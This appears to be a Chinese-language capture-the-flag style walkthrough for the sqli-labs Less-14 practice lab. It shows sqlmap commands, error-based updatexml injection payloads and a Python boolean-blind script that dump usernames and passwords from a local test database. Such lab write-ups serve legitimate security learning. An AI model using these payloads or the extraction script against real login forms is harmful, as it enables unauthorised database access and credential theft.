使用SQLMap通关
先爆库名。
python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" --current-db
再爆表名。
python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" -D security --tables
这里我就列名和字段一起爆了。
python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" -D security --tables --columns --dump
使用sqlmap执行post注入有两种方式:
一种是--data="',这种方便一点,不需要保存。直接将需要提交的数据复制粘贴过来就好了。
另一种是-r,这种需要先将http请求包保存到txt文件里面。
这里面有很多命令,有需要可以查查。
用法 · sqlmap 中文版(新版: github.com/itechub/sqlmap-wiki-zhcn (gitbooks.io)
使用报错注入
发现输入错误下方会有报错提示,所以可以尝试报错注入。
根据报错的提示,可以判断出双引号闭合。
1" or updatexml(1,concat(0x7e,(database())),2)#成功显示当前库名,可以继续爆表名。
1" or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),2)#
然后是列名。
1" or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2)#
最后是具体的值。因为一次性显示不完,所以加了个substr()截取。一部分一部分获取。
1" or updatexml(1,substr(concat(0x7e,(select group_concat(username,id,password) from users)),1,5),2)#
使用脚本进行布尔盲注
登录成功和失败有不同的图片显示,所以可以使用布尔盲注。
失败时是slap.jpg
成功登录时是flag.jpg
所以可以用脚本跑一下。
import requests
url = "http://192.168.2.16/sqli-labs/Less-14/"
payload = {
"uname" : "",
"passwd" : "123456",
"submit" : "Submit"
}
result = ""
stop=""
a=1
for i in range(1,100):
l = 32
r = 127
while(l <= r):
# 跑库名
#"-1\" or ascii(substr((database()),{0},1))={1}#".format(a,l)#
# 跑表名
#"-1\" or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))={1}#".format(i,l)
# 跑列名
#-1\" or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\'security\' and table_name='users'),{0},1))={1}#".format(i,l)
#字段
#"-1\" or ascii(substr((select group_concat(id ,username, password) from users),{0},1))={1}#".format(i,l)
payload["uname"] ="-1\" or ascii(substr((select group_concat(id,\'*\',username,\'*\',password ) from users),{0},1))={1}#".format(i,l)
html = requests.post(url,data=payload)
#print(html.text,l)
if "src=\"../images/flag.jpg\"" in html.text:
print(payload)
result = result + chr(l)
print(result)
break
elif l==127:
stop ='stop'
l=l+1
if stop == 'stop':
print(i)
break
print("answer:" ,result)